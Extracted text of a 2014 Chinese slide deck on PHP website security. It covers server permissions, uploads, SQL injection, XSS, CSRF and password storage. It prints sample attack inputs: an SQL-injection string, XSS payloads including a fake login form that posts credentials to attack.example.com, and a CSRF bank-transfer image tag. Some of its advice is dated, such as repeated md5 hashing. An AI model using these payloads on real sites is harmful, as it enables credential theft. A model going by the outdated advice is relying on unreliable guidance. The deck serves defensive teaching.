PHP 安全优化
PHP Security Optimization
2014
总则
对安全一定要重视!
2PHP程序要点
安全->稳定->性能->扩展->维护
2014-10-17主要内容
本ppt内容讲的是关于php网站的主要安全隐患问
题。
没有100%的安全,只有更好的安全,尽可能
的做到最安全。关于一些不太危险的其它各种安
全细节,这里没有涉及,但是本ppt介绍的内容如
果做好了,就应该可以达到80-90%以上的
安全性。
不要忘记著名的等强原则:一个系统的的强度是
由它最薄弱的环节决定的(注:相当于木桶原
理)。
2014-10-17PHP安全要点目录
1. 不要用windows,要用linux系统。
2. 服务器目录权限
3. 上传安全
4. SQL注入
5. XSS
6. CSRF
7. Mysql权限
8. PHP危险函数
9. 密码安全
10. 验证码
11. 备份
12. 防止撞库攻击
13. 保持更新
14. 敏感词过滤
15. 开启防火墙
16. ARP
2014-10-171.不要用windows,要用linux系统。
• 不管从安全、及性能上都要考虑用Linux系
统。
• windows系统相对来说,其病毒数量和对权
限的设置都要比linux危险得多。
2014-10-172.服务器目录权限
• 不能列出目录文件,上传目录不能有运行php权限,
最好不允许直接访问模板文件.
• 不同的站点文件要互不能访问其它站点文件,不
同的站点要用不同的用户名。
• 防止跨目录访问(即禁止站点程序有访问站点根
目录以外的目录的权限)。
2014-10-172.服务器目录权限
目录权限设置很重要:可以有效防范黑客上传木马文件 .
目录权限(一般目录)
find /path -type d -exec chmod 555 {} \; //设置目录权限为555
可写目录(用于根目录,上传目录,cache目录,生成html目录,配置文件目录等)
find /path -type d -exec chmod 755 {} \; //设置目录权限为755
文件权限(一般文件)
find /path -type f -exec chmod 444 {} \; //设置文件权限为444
可写文件(用于根目录,上传目录,cache目录,生成html目录,配置文件目录等)
find /path -type f -exec chmod 644 {} \; //设置文件权限为644
设置完成后,再通过命令:
chown wwwdata:wwwdata * -R 将目录和文件的所有者改为wwwdata。
如有可能:所有可写目录都禁止 php 执行。
2014-10-172.服务器目录权限
防跨目录访问:
1在php.ini中设置 open_basedir 或在文件中 ini_set("open_basedir”,”网站目录”);
最好是在apache中进行以下设置
2虚拟主机配置样例:
<VirtualHost *:80>
ServerAdmin root@uitv.com
DocumentRoot /data/wwwroot/www
ServerName www.uitv.com
<Directory /data/wwwroot/www>
Options FollowSymLinks
AllowOverride Options FileInfo
Order allow,deny
Allow from all
php_admin_value open_basedir /data/wwwroot/www/:/var/tmp/
DirectoryIndex index.htm index.html index.php
</Directory>
</VirtualHost>
如果做以下设置更安全
useradd -g www -d /data0/htdocs -s /sbin/nologin www 意思:创建一个www用户根目录在/data0/htdocs 使
用shell 是/sbin/nologin(不允许登录)
2014-10-172.服务器目录权限
防跨目录访问:
跨目录(目录穿越)演示:chdir.php
解决:http://192.168.8.131/chdir.php?s=1
2014-10-172.服务器目录权限
上传目录禁止执行PHP
Nginx:
location ~* ^/(|upload|data|images|config|static|source)/.*\.(php|php5)$
{
deny all;
}
Apache:
<Directory "upload/">
<Files ~ ".php">
Order allow,deny
Deny from all
</Files>
</Directory>
使用nginx + thinkphp记得禁止php和模板文件外部访问权限
禁止访问根目录以外的php文件 location ~* ^/.+/.*\.php$ { return 404; }
禁止访问模板目录下的html文件 location ~* ^/tpl/default/.*\.html$ { return 404; }
2014-10-172.服务器目录权限
模板文件保护
Apache:
<Directory "/home/domain/public_html">
Options -Indexes FollowSymLinks
AllowOverride All
<Files ~ ".html">
Order allow,deny
Deny from all
</Files>
</Directory>
2014-10-173.上传安全
1.现在几乎所有的开源cms及框架都不是10
0%安全的。
2.不能只对文件扩展名进行判断,而是要对文
件(二进制)内容进行判断。
3.如果做不好,就可能导致恶意上传木马,窃
取源码,数据库,用户信息,删除更改文
件甚至完全控制服务器等危险动作。
2014-10-173.上传安全
php安全上传类源码分析
phpcms上传演示
php安全上传演示
2014-10-174.SQL注入
2014-10-174.SQL注入
现在很多的开源php系统及框架都不能10
0%做到防止SQL注入。当然网上的一
些教程也绝大部分说的不正确或副作用比
较大。SQL注入攻击是一些很常见的攻
击,被注入后,可能会恶意删除数据,获
取管理员权限,甚至可以提权上传木马及
控制服务器,危害是很大的。
2014-10-174.SQL注入
注入代码示例:
SELECT * FROM Users WHERE Username='$username' AND Password='$password'
如果
$username = 1'or'1'='1
$password=1'or'1'='1
那么sql语句就变成了
SELECT * FROM Users WHERE Username='1' OR '1'='1' AND Password='1'OR '1'='1'
通常为通过url访问
http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%
20'1
对上面的SQL语句作简单分析后我们就知道由于该语句永远为真,所以肯定会返回一些数据,在这种情
况下实际上并未验证用户名和密码,并且在某些系统中,用户表的第一行记录是管理员,那这样造
成的后果则更为严重。
2014-10-174.SQL注入
防止SQL注入要点
* 1数据库连接代码要设置正确的字符集
* 2对传入的数字值用intval();转换:如intval($_GET['s']);
* 3对所有传入的数据用mysql_real_escape_string();转义
* 4 sql语句所有字段值都要加上单引号,包括数值字段
如:$sql = "select * from test where id = '$id'";
以上几点一定要组合使用,否则是不起作用的。做好以上几
点就可以完全防止SQL注入。
2014-10-174.SQL注入
#另外也可用mysqli或pdo的prepare语句,也能防止sql注入 (这是推荐做法)
<?php
$mysqli=new mysqli("localhost","root","","testdb");
//$stmt=$mysqli->stmt_init();
$sql="insert into shops(name,price,num,desc) values(?,?,?,?)";
$stmt=$mysqli->prepare($sql);
$stmt->bind_param("sdis",$name,$price,$num,$desc);//sdis是四个参数的类型
i:intger,d:double,s:string,b:blob
$name="Lenix";
$price="220";
$num="55";
$desn="hello world";
$stmt->execute();
$stmt->close();
?>
2014-10-174.SQL注入
常见字符过滤替换的副作用及误区
1过滤关键字 select,union,drop,delete,update,join,and,or等
攻击者可用SeLect,或SEselectLECT变形进行注入.
2过滤单引号,双引号,有时不但不起作用,还会影响正常输入。
3过滤 #,/* */,-- ,这个也同上。
2014-10-174.SQL注入
MYsql安全连接及查询
function connMysql($dbUserName, $dbPassword, $dbDatabase, $dbHost = 'localhost', $dbCharset = 'UTF8')
{
$link = mysql_connect($dbHost, $dbUserName, $dbPassword) or die(mysql_error());
$dbVersion = mysql_get_server_info($link);
//设置字符集
mysql_set_charset($dbCharset, $link);
//mysql_query("SET NAMES gb2312", $link);此方式不推荐;
//设置 sql_mode
if ($dbVersion > '5.0.1') {
mysql_query("SET sql_mode = ''", $link);
mysql_query("SET character_set_connection = ".$dbCharset.", character_set_results = ".$dbCharset.", character_set_client =
binary", $link);// 防止宽字节注入
}
mysql_select_db($dbDatabase, $link);
return $link;
}
$link = connMysql('dbuser', 'password', 'test');
$s = $_GET['s'];
$s = mysql_real_escape_string($s, $link);
$sql = "select * from test where id = '$s'";
//$sql="select * from test where username='$s'";
2014-10-174.SQL注入
SQL注入演示
sqlzr.php分析
2014-10-175.XSS
跨站脚本攻击(Cross Site Scripting)
为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里
插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊
目的。
假如我们有这样一段PHP的代码:
$username = $_GET['username'];
echo '<div> Welcome, ' . $username . '</div>';
那么我们可以这样来注入:
http://192.168.8.131/xss.php?username=<script>alert('haha');</script> 用firefox打开测试
甚至这样:
http://trustedSite.example.com/welcome.php?username=<div id=”stealPassword”>Please Login:<form name=”input”
action=”http://attack.example.com/stealPassword.php” method=”post”>Username: <input type=”text” name=”username”
/><br/>Password: <input type=”password” name=”password” /><input type=”submit” value=”Login” /></form></div>
这会让网页显示以下内容:
<div class="header"> Welcome,
<div id="stealPassword">Please Login:
<form name="input" action="attack.example.com/stealPassword.php" method="post">
Username: <input type="text" name="username" />
<br/>
Password: <input type="password" name="password" />
<input type="submit" value="Login" />
</form>
</div>
</div>
2014-10-175.XSS
XSS的攻击主要是通过一段JS程序得用用户已登录的cookie去模拟用户的操作(甚至偷用
户的cookie)。这个方式可以让用户在自己不知情的情况下操作了自己不期望的操作。
如果是网站的管理员中招,还有可能导致后台管理权限被盗。
XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的
网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入
javascript代码。
另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想
过吧?
<table background=”javascript:alert(1)”>
<meta charset=”mac-farsi”>1⁄4script3⁄4alert(1)1⁄4/script3⁄4
<img src=”javascript:alert(1)”>
XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用
用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益
于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的
页面间的cookie又是共享的)
于是,如果我在A站点内的某个贴子内注入这么一段代码:
<img src="http://bank.example.com/transfer?account=XXX&amount=1000000&for=lenix">
很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。
2014-10-175.XSS
XSS演示
获取用户cookie值
http://192.168.8.131/xss.php?username=<script>alert(document.cookie);</script>
经过安全过滤后
http://192.168.8.131/xss.php?username=<script>alert(document.cookie);</script>&s=1
用firefox
2014-10-175.XSS
存储型XSS
攻击代码保存在cookie,session里,查找难度大。
2014-10-175.XSS
防xss:
1严格限制用户的输入。最好不要让用户输入带标签的内容。
2严格过滤用户的输入。如:
PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
3在一些关键功能,完全不能信任cookie,必需要用户输入口
令。如:修改口令,支付,修改电子邮件,查看用户的敏
感信息等等。
4 httponly :防止脚本取得用户cookie
setcookie ( string $name [, string $value [, int $expire = 0 [, string
$path [, string $domain [, bool $secure = false [, bool
$httponly = true ]]]]]] )
2014-10-176.CSRF
CSRF(Cross-site request forgery跨站请求伪造,也被称为“one click attack”或者
session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登
录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的
多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的
页面间的cookie又是共享的)
攻击者利用隐蔽的HTTP连接,让目标用户在不注意的情况下单击这个链接,由于
是用户自己点击的,而他又是合法用户拥有合法权限,所以目标用户能够在
网站内执行特定的HTTP链接,从而达到攻击者的目的。
例如:某个购物网站购买商品时,采用
http://www.shop.com/buy.php?item=watch&num=1,item参数确定要购买什么
物品,num参数确定要购买数量,如果攻击者以隐藏的方式发送给目标用户
链接http://www.shop.com/buy.php?item=watch&num=1000
,那么如果目标用户不小心访问以后,购买的数量就成了1000个
2014-10-176.CSRF
防范CRSF攻击
1是需要检查http的reference header。
2是不要使用GET方法来改变数据,
3是对于要提交的表单,后台动态生成一个随
机的token,这个token是攻击者很难伪造的。
CSRF 和ddos攻击一样不能 完全 防止 ,需要程
序员细心。
2014-10-177.Mysql权限
PHP系统千万不要用root帐号,要新建普
通帐号,给于最少权限,并且每个数据库
分配一个帐号.
mysql 禁止远程连接数据库(单机)或限制
来源ip
2014-10-177.Mysql权限
2014-10-178.PHP危险函数
• disable_functions
=exec,passthru,shell_exec,system,proc_open,
popen,curl_exec,curl_multi_exec,parse_ini_fil
e,show_source等。
2014-10-179.密码安全
•
•
•
•
•
•
• 千万不要明文保存用户密码。
密码一定要复杂。
单纯md5()加密,简单密码可用cmd5.com破解,如果不被破解至少需要4重md5()加密。
一但管理员密码被破解可以干任何事情。
更好的是crypt()函数.
<?php
$password =crypt('itv','$2x$07$abcdefghijklmnopqrst$'); //Blowfish算法
• // 生成密码为 $2x$07$abcdefghijklmnopqrst$uCmQidcsKLMptdkGun8LjDd3T7bGOTiG
•
•
•
•
•
•
•
• if (crypt('itv', $password) == $password) {
echo "验证通过";}
?>
php 5.5的最新password_hash函数也可提供安全加密,如果用5.5以上,这是推荐方法。
echo password_hash("itv", PASSWORD_DEFAULT)."\n";
输出:(每次不同)
$2y$10$q8FLghKGgLaWM4Oxi6TShuVTn583Q8H0iLGD2ntN3y1aapmFW2L82
$2y$10$sm9aIGc2ljvXyfHsjq5AQOvpzPt0wVVInIHv0HszWuoYEOJ3XJ6XG
2014-10-1710.验证码
•
•
验证码(CAPTCHA)是一种区分用
户是计算机还是人的公共全自动程
序。可以防止:恶意破解密码、刷
票、论坛灌水,有效防止某个黑客
对某一个特定注册用户用特定程序
暴力破解方式进行不断的登陆尝试,
还能防止撞库攻击。
在登录,注册,找回密码,支付等
重要环节一定要使用验证码,而且
一定显示要比较复杂,不容易被破
解。
2014-10-1710.验证码
2014-10-1711.备份
• 定期备份(web,数据库,各种配置文件)
万一网站被黑,数据丢失这是最保险的方法。
2014-10-1712 .防止撞库攻击
• 撞库攻击,就是黑客拿别的网站得到的用
户名和密码到我们网站去试,因为许多用
户都是多个网站共用一套用户名和密码,
所以撞库成功的可能性还是很大的。
• 解决:
• 限制单IP登录次数,采取登录错误次数限制。
2014-10-1713.保持更新
• php,mysql,apache,nginx,linux...
• 新的版本通常会修复一些安全漏洞及bug,
要及时关注软件的升级消息,对于有安全
漏洞的软件要及时升级。
2014-10-1714.敏感词过滤
• 防止用户发表一些敏感词:比如
法*X*功,色*情,赌*博,博*彩。
这些关键词一旦出现在网站,就可能被服
务器运营商关闭,甚至域名注销备案。
解决方法:对用户输入的内容进行过滤,
要收集全敏感词词典。
2014-10-1715.开启防火墙
• 可以检测和防御攻击,只开启需要开放的
端口。
2014-10-1716.ARP
ARP
2014-10-1717.其它
1 开启网站访问日志,开启php日志,mysql日
志等,可以有效追踪发现攻击情况。
2 隐藏php版本,apache,nginx版本等
3其它的一些安全问题,需要要平时多细心,
防患于未然。
2014-10-17Thanks!
Q&A
43
本人原创,转载请注明 作者:Lenix 网址http://blog.p2hp.com/,谢谢。